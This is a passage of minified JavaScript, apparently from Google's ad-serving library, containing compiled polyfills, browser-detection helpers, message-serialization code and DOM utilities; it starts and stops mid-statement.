l=this;null==this.i?f.i(k):this.i.push(k);this.G=!0};b.resolve=d;b.reject=function(g){return new b(function(h,k){k(g)})};b.race=function(g){return new b(function(h,k){for(var l=u(g),m=l.next();!m.done;m=l.next())d(m.value).ia(h,k)})};b.all=function(g){var h=u(g),k=h.next();return k.done?d([]):new b(function(l,m){function q(F){return function(z){t[F]=z;y--;0==y&&l(t)}}var t=[],y=0;do t.push(void 0),y++,d(k.value).ia(q(t.length-1),m),k=h.next(); while(!k.done)})};return b},"es6");ha("Array.prototype.find",function(a){return a?a:function(b,c){a:{var d=this;d instanceof String&&(d=String(d));for(var e=d.length,f=0;f<e;f++){var g=d[f];if(b.call(c,g,f,d)){b=g;break a}}b=void 0}return b}},"es6"); ha("WeakMap",function(a){function b(g){this.h=(f+=Math.random()+1).toString();if(g){g=u(g);for(var h;!(h=g.next()).done;)h=h.value,this.set(h[0],h[1])}}function c(){}function d(g){var h=typeof g;return"object"===h&&null!==g||"function"===h}if(function(){if(!a||!Object.seal)return!1;try{var g=Object.seal({}),h=Object.seal({}),k=new a([[g,2],[h,3]]);if(2!=k.get(g)||3!=k.get(h))return!1;k.delete(g);k.set(h,4);return!k.has(g)&&4==k.get(h)}catch(l){return!1}}())return a;var e="$jscomp_hidden_"+Math.random(), f=0;b.prototype.set=function(g,h){if(!d(g))throw Error("Invalid WeakMap key");if(!la(g,e)){var k=new c;ba(g,e,{value:k})}if(!la(g,e))throw Error("WeakMap key fail: "+g);g[e][this.h]=h;return this};b.prototype.get=function(g){return d(g)&&la(g,e)?g[e][this.h]:void 0};b.prototype.has=function(g){return d(g)&&la(g,e)&&la(g[e],this.h)};b.prototype.delete=function(g){return d(g)&&la(g,e)&&la(g[e],this.h)?delete g[e][this.h]:!1};return b},"es6"); ha("Map",function(a){function b(){var h={};return h.L=h.next=h.head=h}function c(h,k){var l=h.h;return ia(function(){if(l){for(;l.head!=h.h;)l=l.L;for(;l.next!=l.head;)return l=l.next,{done:!1,value:k(l)};l=null}return{done:!0,value:void 0}})}function d(h,k){var l=k&&typeof k;"object"==l||"function"==l?f.has(k)?l=f.get(k):(l=""+ ++g,f.set(k,l)):l="p_"+k;var m=h.i[l];if(m&&la(h.i,l))for(h=0;h<m.length;h++){var q=m[h];if(k!==k&&q.key!==q.key||k===q.key)return{id:l,list:m,index:h,B:q}}return{id:l,list:m, index:-1,B:void 0}}function e(h){this.i={};this.h=b();this.size=0;if(h){h=u(h);for(var k;!(k=h.next()).done;)k=k.value,this.set(k[0],k[1])}}if(function(){if(!a||"function"!=typeof a||!a.prototype.entries||"function"!=typeof Object.seal)return!1;try{var h=Object.seal({x:4}),k=new a(u([[h,"s"]]));if("s"!=k.get(h)||1!=k.size||k.get({x:4})||k.set({x:4},"t")!=k||2!=k.size)return!1;var l=k.entries(),m=l.next();if(m.done||m.value[0]!=h||"s"!=m.value[1])return!1;m=l.next();return m.done||4!=m.value[0].x|| "t"!=m.value[1]||!l.next().done?!1:!0}catch(q){return!1}}())return a;var f=new p.WeakMap;e.prototype.set=function(h,k){h=0===h?0:h;var l=d(this,h);l.list||(l.list=this.i[l.id]=[]);l.B?l.B.value=k:(l.B={next:this.h,L:this.h.L,head:this.h,key:h,value:k},l.list.push(l.B),this.h.L.next=l.B,this.h.L=l.B,this.size++);return this};e.prototype.delete=function(h){h=d(this,h);return h.B&&h.list?(h.list.splice(h.index,1),h.list.length||delete this.i[h.id],h.B.L.next=h.B.next,h.B.next.L=h.B.L,h.B.head=null,this.size--, !0):!1};e.prototype.clear=function(){this.i={};this.h=this.h.L=b();this.size=0};e.prototype.has=function(h){return!!d(this,h).B};e.prototype.get=function(h){return(h=d(this,h).B)&&h.value};e.prototype.entries=function(){return c(this,function(h){return[h.key,h.value]})};e.prototype.keys=function(){return c(this,function(h){return h.key})};e.prototype.values=function(){return c(this,function(h){return h.value})};e.prototype.forEach=function(h,k){for(var l=this.entries(),m;!(m=l.next()).done;)m=m.value, h.call(k,m[1],m[0],this)};e.prototype[r(p.Symbol,"iterator")]=e.prototype.entries;var g=0;return e},"es6");function ua(a,b){a instanceof String&&(a+="");var c=0,d=!1,e={next:function(){if(!d&&c<a.length){var f=c++;return{value:b(f,a[f]),done:!1}}d=!0;return{done:!0,value:void 0}}};e[r(p.Symbol,"iterator")]=function(){return e};return e} ha("String.prototype.startsWith",function(a){return a?a:function(b,c){if(null==this)throw new TypeError("The 'this' value for String.prototype.startsWith must not be null or undefined");if(b instanceof RegExp)throw new TypeError("First argument to String.prototype.startsWith must not be a regular expression");var d=this.length,e=b.length;c=Math.max(0,Math.min(c|0,this.length));for(var f=0;f<e&&c<d;)if(this[c++]!=b[f++])return!1;return f>=e}},"es6");ha("globalThis",function(a){return a||da},"es_2020"); ha("Set",function(a){function b(c){this.h=new p.Map;if(c){c=u(c);for(var d;!(d=c.next()).done;)this.add(d.value)}this.size=this.h.size}if(function(){if(!a||"function"!=typeof a||!a.prototype.entries||"function"!=typeof Object.seal)return!1;try{var c=Object.seal({x:4}),d=new a(u([c]));if(!d.has(c)||1!=d.size||d.add(c)!=d||1!=d.size||d.add({x:4})!=d||2!=d.size)return!1;var e=d.entries(),f=e.next();if(f.done||f.value[0]!=c||f.value[1]!=c)return!1;f=e.next();return f.done||f.value[0]==c||4!=f.value[0].x|| f.value[1]!=f.value[0]?!1:e.next().done}catch(g){return!1}}())return a;b.prototype.add=function(c){c=0===c?0:c;this.h.set(c,c);this.size=this.h.size;return this};b.prototype.delete=function(c){c=this.h.delete(c);this.size=this.h.size;return c};b.prototype.clear=function(){this.h.clear();this.size=0};b.prototype.has=function(c){return this.h.has(c)};b.prototype.entries=function(){return this.h.entries()};b.prototype.values=function(){return r(this.h,"values").call(this.h)};b.prototype.keys=r(b.prototype, "values");b.prototype[r(p.Symbol,"iterator")]=r(b.prototype,"values");b.prototype.forEach=function(c,d){var e=this;this.h.forEach(function(f){return c.call(d,f,f,e)})};return b},"es6");ha("Array.prototype.keys",function(a){return a?a:function(){return ua(this,function(b){return b})}},"es6");ha("Array.prototype.values",function(a){return a?a:function(){return ua(this,function(b,c){return c})}},"es8");ha("Number.isNaN",function(a){return a?a:function(b){return"number"===typeof b&&isNaN(b)}},"es6"); ha("Promise.prototype.finally",function(a){return a?a:function(b){return this.then(function(c){return p.Promise.resolve(b()).then(function(){return c})},function(c){return p.Promise.resolve(b()).then(function(){throw c;})})}},"es9");var w=this||self;function va(a){a=a.split(".");for(var b=w,c=0;c<a.length;c++)if(b=b[a[c]],null==b)return null;return b}function wa(a){var b=typeof a;return"object"!=b?b:a?Array.isArray(a)?"array":b:"null"} function xa(a){var b=wa(a);return"array"==b||"object"==b&&"number"==typeof a.length}function ya(a){var b=typeof a;return"object"==b&&null!=a||"function"==b}function za(a){return Object.prototype.hasOwnProperty.call(a,Aa)&&a[Aa]||(a[Aa]=++Ba)}var Aa="closure_uid_"+(1E9*Math.random()>>>0),Ba=0;function Ca(a,b,c){return a.call.apply(a.bind,arguments)} function Da(a,b,c){if(!a)throw Error();if(2<arguments.length){var d=Array.prototype.slice.call(arguments,2);return function(){var e=Array.prototype.slice.call(arguments);Array.prototype.unshift.apply(e,d);return a.apply(b,e)}}return function(){return a.apply(b,arguments)}}function Ea(a,b,c){Function.prototype.bind&&-1!=Function.prototype.bind.toString().indexOf("native code")?Ea=Ca:Ea=Da;return Ea.apply(null,arguments)} function Fa(a,b){var c=Array.prototype.slice.call(arguments,1);return function(){var d=c.slice();d.push.apply(d,arguments);return a.apply(this,d)}}function Ga(a){var b=["__uspapi"],c=w;b[0]in c||"undefined"==typeof c.execScript||c.execScript("var "+b[0]);for(var d;b.length&&(d=b.shift());)b.length||void 0===a?c[d]&&c[d]!==Object.prototype[d]?c=c[d]:c=c[d]={}:c[d]=a}function Ha(a){return a};var Ia=(new Date).getTime();function Ja(a){return/^[\s\xa0]*([\s\S]*?)[\s\xa0]*$/.exec(a)[1]} function Ka(a,b){var c=0;a=Ja(String(a)).split(".");b=Ja(String(b)).split(".");for(var d=Math.max(a.length,b.length),e=0;0==c&&e<d;e++){var f=a[e]||"",g=b[e]||"";do{f=/(\d*)(\D*)(.*)/.exec(f)||["","","",""];g=/(\d*)(\D*)(.*)/.exec(g)||["","","",""];if(0==f[0].length&&0==g[0].length)break;c=La(0==f[1].length?0:parseInt(f[1],10),0==g[1].length?0:parseInt(g[1],10))||La(0==f[2].length,0==g[2].length)||La(f[2],g[2]);f=f[3];g=g[3]}while(0==c)}return c}function La(a,b){return a<b?-1:a>b?1:0};function Ma(){var a=w.navigator;return a&&(a=a.userAgent)?a:""}function x(a){return-1!=Ma().indexOf(a)};function Na(){return x("Trident")||x("MSIE")}function Oa(){return(x("Chrome")||x("CriOS"))&&!x("Edge")||x("Silk")}function Pa(a){var b={};a.forEach(function(c){b[c[0]]=c[1]});return function(c){return b[r(c,"find").call(c,function(d){return d in b})]||""}} function Qa(){var a=Ma();if(Na()){var b=/rv: *([\d\.]*)/.exec(a);if(b&&b[1])a=b[1];else{b="";var c=/MSIE +([\d\.]+)/.exec(a);if(c&&c[1])if(a=/Trident\/(\d.\d)/.exec(a),"7.0"==c[1])if(a&&a[1])switch(a[1]){case "4.0":b="8.0";break;case "5.0":b="9.0";break;case "6.0":b="10.0";break;case "7.0":b="11.0"}else b="7.0";else b=c[1];a=b}return a}c=RegExp("([A-Z][\\w ]+)/([^\\s]+)\\s*(?:\\((.*?)\\))?","g");b=[];for(var d;d=c.exec(a);)b.push([d[1],d[2],d[3]||void 0]);a=Pa(b);return x("Opera")?a(["Version","Opera"]): x("Edge")?a(["Edge"]):x("Edg/")?a(["Edg"]):x("Silk")?a(["Silk"]):Oa()?a(["Chrome","CriOS","HeadlessChrome"]):(a=b[2])&&a[1]||""};function Ra(a,b){for(var c=a.length,d="string"===typeof a?a.split(""):a,e=0;e<c;e++)e in d&&b.call(void 0,d[e],e,a)}function Sa(a,b){for(var c=a.length,d=[],e=0,f="string"===typeof a?a.split(""):a,g=0;g<c;g++)if(g in f){var h=f[g];b.call(void 0,h,g,a)&&(d[e++]=h)}return d}function Ta(a,b){for(var c=a.length,d=Array(c),e="string"===typeof a?a.split(""):a,f=0;f<c;f++)f in e&&(d[f]=b.call(void 0,e[f],f,a));return d} function Ua(a,b){for(var c=a.length,d="string"===typeof a?a.split(""):a,e=0;e<c;e++)if(e in d&&b.call(void 0,d[e],e,a))return!0;return!1}function Va(a,b){a:{for(var c=a.length,d="string"===typeof a?a.split(""):a,e=0;e<c;e++)if(e in d&&b.call(void 0,d[e],e,a)){b=e;break a}b=-1}return 0>b?null:"string"===typeof a?a.charAt(b):a[b]} function Wa(a,b){a:{for(var c="string"===typeof a?a.split(""):a,d=a.length-1;0<=d;d--)if(d in c&&b.call(void 0,c[d],d,a)){b=d;break a}b=-1}return 0>b?null:"string"===typeof a?a.charAt(b):a[b]}function Xa(a,b){a:if("string"===typeof a)a="string"!==typeof b||1!=b.length?-1:a.indexOf(b,0);else{for(var c=0;c<a.length;c++)if(c in a&&a[c]===b){a=c;break a}a=-1}return 0<=a}function Ya(a){var b=a.length;if(0<b){for(var c=Array(b),d=0;d<b;d++)c[d]=a[d];return c}return[]};function Za(a){Za[" "](a);return a}Za[" "]=function(){};var $a=Na();!x("Android")||Oa();Oa();!x("Safari")||Oa();var ab={},bb=null;var cb="undefined"!==typeof Uint8Array;var db="function"===typeof p.Symbol&&"symbol"===typeof(0,p.Symbol)()?(0,p.Symbol)(void 0):void 0;function eb(a,b){Object.isFrozen(a)||(db?a[db]|=b:void 0!==a.ma?a.ma|=b:Object.defineProperties(a,{ma:{value:b,configurable:!0,writable:!0,enumerable:!1}}))}function fb(a){var b;db?b=a[db]:b=a.ma;return null==b?0:b}function gb(a){eb(a,1);return a}function hb(a){return Array.isArray(a)?!!(fb(a)&2):!1}function ib(a){if(!Array.isArray(a))throw Error("cannot mark non-array as immutable");eb(a,2)};function jb(a){return null!==a&&"object"===typeof a&&!Array.isArray(a)&&a.constructor===Object}var kb,lb=Object.freeze(gb([]));function mb(a){if(hb(a.v))throw Error("Cannot mutate an immutable Message");}var nb="undefined"!=typeof p.Symbol&&"undefined"!=typeof p.Symbol.hasInstance;function ob(a){return{value:a,configurable:!1,writable:!1,enumerable:!1}};function pb(a){switch(typeof a){case "number":return isFinite(a)?a:String(a);case "object":if(a&&!Array.isArray(a)&&cb&&null!=a&&a instanceof Uint8Array){var b;void 0===b&&(b=0);if(!bb){bb={};for(var c="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".split(""),d=["+/=","+/","-_=","-_.","-_"],e=0;5>e;e++){var f=c.concat(d[e].split(""));ab[e]=f;for(var g=0;g<f.length;g++){var h=f[g];void 0===bb[h]&&(bb[h]=g)}}}b=ab[b];c=Array(Math.floor(a.length/3));d=b[64]||"";for(e=f=0;f<a.length- 2;f+=3){var k=a[f],l=a[f+1];h=a[f+2];g=b[k>>2];k=b[(k&3)<<4|l>>4];l=b[(l&15)<<2|h>>6];h=b[h&63];c[e++]=g+k+l+h}g=0;h=d;switch(a.length-f){case 2:g=a[f+1],h=b[(g&15)<<2]||d;case 1:a=a[f],c[e]=b[a>>2]+b[(a&3)<<4|g>>4]+h+d}return c.join("")}}return a};function qb(a){var b=sb;b=void 0===b?tb:b;return ub(a,b)}function vb(a,b){if(null!=a){if(Array.isArray(a))a=ub(a,b);else if(jb(a)){var c={},d;for(d in a)Object.prototype.hasOwnProperty.call(a,d)&&(c[d]=vb(a[d],b));a=c}else a=b(a);return a}}function ub(a,b){for(var c=a.slice(),d=0;d<c.length;d++)c[d]=vb(c[d],b);Array.isArray(a)&&fb(a)&1&&gb(c);return c}function sb(a){if(a&&"object"==typeof a&&a.toJSON)return a.toJSON();a=pb(a);return Array.isArray(a)?qb(a):a} function tb(a){return cb&&null!=a&&a instanceof Uint8Array?new Uint8Array(a):a};function A(a,b,c){return-1===b?null:b>=a.l?a.i?a.i[b]:void 0:(void 0===c?0:c)&&a.i&&(c=a.i[b],null!=c)?c:a.v[b+a.j]}function B(a,b,c,d,e){d=void 0===d?!1:d;(void 0===e?0:e)||mb(a);b<a.l&&!d?a.v[b+a.j]=c:(a.i||(a.i=a.v[a.l+a.j]={}))[b]=c;return a}function wb(a,b,c,d){c=void 0===c?!0:c;d=void 0===d?!1:d;var e=A(a,b,d);null==e&&(e=lb);if(hb(a.v))c&&(ib(e),Object.freeze(e));else if(e===lb||hb(e))e=gb(e.slice()),B(a,b,e,d);return e}function xb(a,b){a=A(a,b);return null==a?a:!!a} function C(a,b,c){a=A(a,b);return null==a?c:a}function D(a,b,c){a=xb(a,b);return null==a?void 0===c?!1:c:a}function yb(a,b){a=A(a,b);a=null==a?a:+a;return null==a?0:a}function zb(a,b,c){var d=void 0===d?!1:d;return B(a,b,null==c?gb([]):Array.isArray(c)?gb(c):c,d)}function Ab(a,b,c){mb(a);0!==c?B(a,b,c):B(a,b,void 0,!1,!1);return a}function Bb(a,b,c,d){mb(a);(c=Cb(a,c))&&c!==b&&null!=d&&(a.h&&c in a.h&&(a.h[c]=void 0),B(a,c));return B(a,b,d)}function Db(a,b,c){return Cb(a,b)===c?c:-1} function Cb(a,b){for(var c=0,d=0;d<b.length;d++){var e=b[d];null!=A(a,e)&&(0!==c&&B(a,c,void 0,!1,!0),c=e)}return c}function G(a,b,c){if(-1===c)return null;a.h||(a.h={});var d=a.h[c];if(d)return d;var e=A(a,c,!1);if(null==e)return d;b=new b(e);hb(a.v)&&ib(b.v);return a.h[c]=b}function H(a,b,c){a.h||(a.h={});var d=hb(a.v),e=a.h[c];if(!e){var f=wb(a,c,!0,!1);e=[];d=d||hb(f);for(var g=0;g<f.length;g++)e[g]=new b(f[g]),d&&ib(e[g].v);d&&(ib(e),Object.freeze(e));a.h[c]=e}return e} function Eb(a,b,c){var d=void 0===d?!1:d;mb(a);a.h||(a.h={});var e=c?c.v:c;a.h[b]=c;return B(a,b,e,d)}function Fb(a,b,c,d){mb(a);a.h||(a.h={});var e=d?d.v:d;a.h[b]=d;return Bb(a,b,c,e)}function Gb(a,b,c){var d=void 0===d?!1:d;mb(a);if(c){var e=gb([]);for(var f=0;f<c.length;f++)e[f]=c[f].v;a.h||(a.h={});a.h[b]=c}else a.h&&(a.h[b]=void 0),e=lb;return B(a,b,e,d)}function I(a,b){return C(a,b,"")}function Hb(a,b,c){return C(a,Db(a,c,b),0)}function Ib(a,b,c,d){return G(a,b,Db(a,d,c))};function Jb(a,b,c){a||(a=Kb);Kb=null;var d=this.constructor.messageId;a||(a=d?[d]:[]);this.j=(d?0:-1)-(this.constructor.h||0);this.h=void 0;this.v=a;a:{d=this.v.length;a=d-1;if(d&&(d=this.v[a],jb(d))){this.l=a-this.j;this.i=d;break a}void 0!==b&&-1<b?(this.l=Math.max(b,a+1-this.j),this.i=void 0):this.l=Number.MAX_VALUE}if(c)for(b=0;b<c.length;b++)if(a=c[b],a<this.l)a+=this.j,(d=this.v[a])?Array.isArray(d)&&gb(d):this.v[a]=lb;else{d=this.i||(this.i=this.v[this.l+this.j]={});var e=d[a];e?Array.isArray(e)&& gb(e):d[a]=lb}}Jb.prototype.toJSON=function(){var a=this.v;return kb?a:qb(a)};function Lb(a){kb=!0;try{return JSON.stringify(a.toJSON(),Mb)}finally{kb=!1}}function Nb(a,b){if(null==b||""==b)return new a;b=JSON.parse(b);if(!Array.isArray(b))throw Error("Expected to deserialize an Array but got "+wa(b)+": "+b);Kb=b;a=new a(b);Kb=null;return a}function Mb(a,b){return pb(b)}var Kb;function Ob(){Jb.apply(this,arguments)}v(Ob,Jb);if(nb){var Pb={};Object.defineProperties(Ob,(Pb[p.Symbol.hasInstance]=ob(function(){throw Error("Cannot perform instanceof checks for MutableMessage");}),Pb))};function J(){Ob.apply(this,arguments)}v(J,Ob);if(nb){var Qb={};Object.defineProperties(J,(Qb[p.Symbol.hasInstance]=ob(Object[p.Symbol.hasInstance]),Qb))};function Rb(a){J.call(this,a,-1,Sb)}v(Rb,J);function Tb(a){J.call(this,a)}v(Tb,J);var Sb=[2,3];function Ub(a,b){this.i=a===Vb&&b||"";this.h=Wb}var Wb={},Vb={};function Xb(a,b){var c={},d;for(d in a)b.call(void 0,a[d],d,a)&&(c[d]=a[d]);return c}function Yb(a,b){for(var c in a)if(b.call(void 0,a[c],c,a))return!0;return!1}function Zb(a){var b=[],c=0,d;for(d in a)b[c++]=a[d];return b}function $b(a){var b={},c;for(c in a)b[c]=a[c];return b};var ac;function bc(){if(void 0===ac){var a=null,b=w.trustedTypes;if(b&&b.createPolicy){try{a=b.createPolicy("goog#html",{createHTML:Ha,createScript:Ha,createScriptURL:Ha})}catch(c){w.console&&w.console.error(c.message)}ac=a}else ac=a}return ac};function cc(a,b){this.h=b===dc?a:""}function ec(a,b){a=fc.exec(gc(a).toString());var c=a[3]||"";return hc(a[1]+ic("?",a[2]||"",b)+ic("#",c))}cc.prototype.toString=function(){return this.h+""};function gc(a){return a instanceof cc&&a.constructor===cc?a.h:"type_error:TrustedResourceUrl"}var fc=/^([^?#]*)(\?[^#]*)?(#[\s\S]*)?/,dc={};function hc(a){var b=bc();a=b?b.createScriptURL(a):a;return new cc(a,dc)} function ic(a,b,c){if(null==c)return b;if("string"===typeof c)return c?a+encodeURIComponent(c):"";for(var d in c)if(Object.prototype.hasOwnProperty.call(c,d)){var e=c[d];e=Array.isArray(e)?e:[e];for(var f=0;f<e.length;f++){var g=e[f];null!=g&&(b||(b=a),b+=(b.length>a.length?"&":"")+encodeURIComponent(d)+"="+encodeURIComponent(String(g)))}}return b};function jc(a,b){this.h=b===kc?a:""}jc.prototype.toString=function(){return this.h.toString()};var kc={};/* SPDX-License-Identifier: Apache-2.0 */ var lc={};function mc(){}function nc(a){this.h=a}v(nc,mc);nc.prototype.toString=function(){return this.h.toString()};function oc(a){var b,c=null==(b=bc())?void 0:b.createScriptURL(a);return new nc(null!=c?c:a,lc)}function pc(a){if(a instanceof nc)return a.h;throw Error("");};function qc(a){return a instanceof mc?pc(a):gc(a)}function rc(a){return a instanceof jc&&a.constructor===jc?a.h:"type_error:SafeUrl"}function sc(a){return a instanceof mc?pc(a).toString():gc(a).toString()};var tc="alternate author bookmark canonical cite help icon license next prefetch dns-prefetch prerender preconnect preload prev search subresource".split(" ");function uc(a){return function(){return!a.apply(this,arguments)}}function vc(a){var b=!1,c;return function(){b||(c=a(),b=!0);return c}}function wc(a){var b=a;return function(){if(b){var c=b;b=null;c()}}};function xc(a,b,c){a.addEventListener&&a.addEventListener(b,c,!1)}function yc(a,b){a.removeEventListener&&a.removeEventListener("message",b,!1)};function zc(a){return String(a).replace(/\-([a-z])/g,function(b,c){return c.toUpperCase()})};function Ac(a,b,c){function d(h){h&&b.appendChild("string"===typeof h?a.createTextNode(h):h)}for(var e=1;e<c.length;e++){var f=c[e];if(!xa(f)||ya(f)&&0<f.nodeType)d(f);else{a:{if(f&&"number"==typeof f.length){if(ya(f)){var g="function"==typeof f.item||"string"==typeof f.item;break a}if("function"===typeof f){g="function"==typeof f.item;break a}}g=!1}Ra(g?Ya(f):f,d)}}}function Bc(a){this.h=a||w.document||document}n=Bc.prototype;n.getElementsByTagName=function(a,b){return(b||this.h).getElementsByTagName(String(a))}; n.createElement=function(a){var b=this.h;a=String(a);"application/xhtml+xml"===b.contentType&&(a=a.toLowerCase());return b.createElement(a)};n.createTextNode=function(a){return this.h.createTextNode(String(a))};n.append=function(a,b){Ac(9==a.nodeType?a:a.ownerDocument||a.document,a,arguments)}; n.contains=function(a,b){if(!a||!b)return!1;if(a.contains&&1==b.nodeType)return a==b||a.contains(b);if("undefined"!=typeof a.compareDocumentPosition)return a==b||!!(a.compareDocumentPosition(b)&16);for(;b&&a!=b;)b=b.parentNode;return b==a};function Cc(){return!Dc()&&(x("iPod")||x("iPhone")||x("Android")||x("IEMobile"))}function Dc(){return x("iPad")||x("Android")&&!x("Mobile")||x("Silk")};var Ec=RegExp("^(?:([^:/?#.]+):)?(?://(?:([^\\\\/?#]*)@)?([^\\\\/?#]*?)(?::([0-9]+))?(?=[\\\\/?#]|$))?([^?#]+)?(?:\\?([^#]*))?(?:#([\\s\\S]*))?$"),Fc=/#|$/;function Gc(a){var b=a.search(Fc),c;a:{for(c=0;0<=(c=a.indexOf("client",c))&&c<b;){var d=a.charCodeAt(c-1);if(38==d||63==d)if(d=a.charCodeAt(c+6),!d||61==d||38==d||35==d)break a;c+=7}c=-1}if(0>c)return null;d=a.indexOf("&",c);if(0>d||d>b)d=b;c+=7;return decodeURIComponent(a.substr(c,d-c).replace(/\+/g," "))};function Hc(a){try{var b;if(b=!!a&&null!=a.location.href)a:{try{Za(a.foo);b=!0;break a}catch(c){}b=!1}return b}catch(c){return!1}}function Ic(a){return Hc(a.top)?a.top:null} function Lc(a,b){var c=Mc("SCRIPT",a);c.src=qc(b);var d,e;(d=(b=null==(e=(d=(c.ownerDocument&&c.ownerDocument.defaultView||window).document).querySelector)?void 0:e.call(d,"script[nonce]"))?b.nonce||b.getAttribute("nonce")||"":"")&&c.setAttribute("nonce",d);return(a=a.getElementsByTagName("script")[0])&&a.parentNode?(a.parentNode.insertBefore(c,a),c):null}function Nc(a,b){return b.getComputedStyle?b.getComputedStyle(a,null):a.currentStyle} function Oc(a,b){if(!Pc()&&!Qc()){var c=Math.random();if(c<b)return c=Rc(),a[Math.floor(c*a.length)]}return null}function Rc(){if(!p.globalThis.crypto)return Math.random();try{var a=new Uint32Array(1);p.globalThis.crypto.getRandomValues(a);return a[0]/65536/65536}catch(b){return Math.random()}}function Sc(a,b){if(a)for(var c in a)Object.prototype.hasOwnProperty.call(a,c)&&b(a[c],c,a)} function Tc(a){var b=a.length;if(0==b)return 0;for(var c=305419896,d=0;d<b;d++)c^=(c<<5)+(c>>2)+a.charCodeAt(d)&4294967295;return 0<c?c:4294967296+c}var Qc=vc(function(){return Ua(["Google Web Preview","Mediapartners-Google","Google-Read-Aloud","Google-Adwords"],Uc)||1E-4>Math.random()});function Vc(a,b){var c=-1;try{a&&(c=parseInt(a.getItem(b),10))}catch(d){return null}return 0<=c&&1E3>c?c:null} function Wc(a,b){var c=Qc()?null:Math.floor(1E3*Rc());var d;if(d=null!=c&&a)a:{var e=String(c);try{if(a){a.setItem(b,e);d=e;break a}}catch(f){}d=null}return d?c:null}var Pc=vc(function(){return Uc("MSIE")});function Uc(a){return-1!=Ma().indexOf(a)}var Xc=/^([0-9.]+)px$/,Yc=/^(-?[0-9.]{1,30})$/;function Zc(a){var b=void 0===b?null:b;if(!Yc.test(a))return b;a=Number(a);return isNaN(a)?b:a}function K(a){return(a=Xc.exec(a))?+a[1]:null} function $c(a,b){for(var c=0;50>c;++c){try{var d=!(!a.frames||!a.frames[b])}catch(g){d=!1}if(d)return a;a:{try{var e=a.parent;if(e&&e!=a){var f=e;break a}}catch(g){}f=null}if(!(a=f))break}return null}var ad=vc(function(){return Cc()?2:Dc()?1:0});function bd(a){Sc({display:"none"},function(b,c){a.style.setProperty(c,b,"important")})}var cd=[];function dd(){var a=cd;cd=[];a=u(a);for(var b=a.next();!b.done;b=a.next()){b=b.value;try{b()}catch(c){}}} function ed(a,b){0!=a.length&&b.head&&a.forEach(function(c){if(c&&c&&b.head){var d=Mc("META");b.head.appendChild(d);d.httpEquiv="origin-trial";d.content=c}})}function fd(a){if("number"!==typeof a.goog_pvsid)try{Object.defineProperty(a,"goog_pvsid",{value:Math.floor(Math.random()*Math.pow(2,52)),configurable:!1})}catch(b){}return Number(a.goog_pvsid)||-1} function gd(a){var b=hd;"complete"===b.readyState||"interactive"===b.readyState?(cd.push(a),1==cd.length&&(p.Promise?p.Promise.resolve().then(dd):window.setImmediate?setImmediate(dd):setTimeout(dd,0))):b.addEventListener("DOMContentLoaded",a)}function Mc(a,b){b=void 0===b?document:b;return b.createElement(String(a).toLowerCase())};var id=null;var hd=document,L=window;var jd=null;function kd(a,b){b=void 0===b?[]:b;var c=!1;w.google_logging_queue||(c=!0,w.google_logging_queue=[]);w.google_logging_queue.push([a,b]);if(a=c){if(null==jd){jd=!1;try{var d=Ic(w);d&&-1!==d.location.hash.indexOf("google_logging")&&(jd=!0);w.localStorage.getItem("google_logging")&&(jd=!0)}catch(e){}}a=jd}a&&(d=w.document,a=new Ub(Vb,"https://pagead2.googlesyndication.com/pagead/js/logging_library.js"),a=hc(a instanceof Ub&&a.constructor===Ub&&a.h===Wb?a.i:"type_error:Const"),Lc(d,a))};function ld(a){a=void 0===a?w:a;var b=a.context||a.AMP_CONTEXT_DATA;if(!b)try{b=a.parent.context||a.parent.AMP_CONTEXT_DATA}catch(c){}try{if(b&&b.pageViewId&&b.canonicalUrl)return b}catch(c){}return null}function md(a){return(a=a||ld())?Hc(a.master)?a.master:null:null};function nd(a){var b=ta.apply(1,arguments);if(0===b.length)return oc(a[0]);for(var c=[a[0]],d=0;d<b.length;d++)c.push(encodeURIComponent(b[d])),c.push(a[d+1]);return oc(c.join(""))};function od(a){var b=void 0===b?1:b;a=md(ld(a))||a;a.google_unique_id=(a.google_unique_id||0)+b;return a.google_unique_id}function pd(a){a=a.google_unique_id;return"number"===typeof a?a:0}function qd(){var a=void 0===a?L:a;if(!a)return!1;try{return!(!a.navigator.standalone&&!a.top.navigator.standalone)}catch(b){return!1}}function rd(a){if(!a)return"";a=a.toLowerCase();"ca-"!=a.substring(0,3)&&(a="ca-"+a);return a};function sd(){this.i=new td(this);this.h=0}sd.prototype.resolve=function(a){ud(this);this.h=1;this.l=a;vd(this.i)};sd.prototype.reject=function(a){ud(this);this.h=2;this.j=a;vd(this.i)};function ud(a){if(0!=a.h)throw Error("Already resolved/rejected.");}function td(a){this.h=a}td.prototype.then=function(a,b){if(this.i)throw Error("Then functions already set.");this.i=a;this.j=b;vd(this)}; function vd(a){switch(a.h.h){case 0:break;case 1:a.i&&a.i(a.h.l);break;case 2:a.j&&a.j(a.h.j);break;default:throw Error("Unhandled deferred state.");}};function wd(a){this.h=a.slice(0)}n=wd.prototype;n.forEach=function(a){var b=this;this.h.forEach(function(c,d){return void a(c,d,b)})};n.filter=function(a){return new wd(Sa(this.h,a))};n.apply=function(a){return new wd(a(this.h.slice(0)))};n.sort=function(a){return new wd(this.h.slice(0).sort(a))};n.get=function(a){return this.h[a]};n.add=function(a){var b=this.h.slice(0);b.push(a);return new wd(b)};function xd(a,b){for(var c=[],d=a.length,e=0;e<d;e++)c.push(a[e]);c.forEach(b,void 0)};function yd(){this.h={};this.i={}}yd.prototype.set=function(a,b){var c=zd(a);this.h[c]=b;this.i[c]=a};yd.prototype.get=function(a,b){a=zd(a);return void 0!==this.h[a]?this.h[a]:b};yd.prototype.clear=function(){this.h={};this.i={}};function zd(a){return a instanceof Object?String(za(a)):a+""};function Ad(a,b){this.h=a;this.i=b}function Bd(a){return null!=a.h?a.h.value:null}function Cd(a,b){null!=a.h&&b(a.h.value);return a}Ad.prototype.map=function(a){return null!=this.h?(a=a(this.h.value),a instanceof Ad?a:Dd(a)):this};function Ed(a,b){null!=a.h||b(a.i);return a}function Dd(a){return new Ad({value:a},null)}function Fd(a){return new Ad(null,a)}function Gd(a){try{return Dd(a())}catch(b){return Fd(b)}};function Hd(a){this.h=new yd;if(a)for(var b=0;b<a.length;++b)this.add(a[b])}Hd.prototype.add=function(a){this.h.set(a,!0)};Hd.prototype.contains=function(a){return void 0!==this.h.h[zd(a)]};function Id(){this.h=new yd}Id.prototype.set=function(a,b){var c=this.h.get(a);c||(c=new Hd,this.h.set(a,c));c.add(b)};function Jd(a){J.call(this,a,-1,Kd)}v(Jd,J);Jd.prototype.getId=function(){return A(this,3)};var Kd=[4];function Ld(a){var b=void 0===a.Ga?void 0:a.Ga,c=void 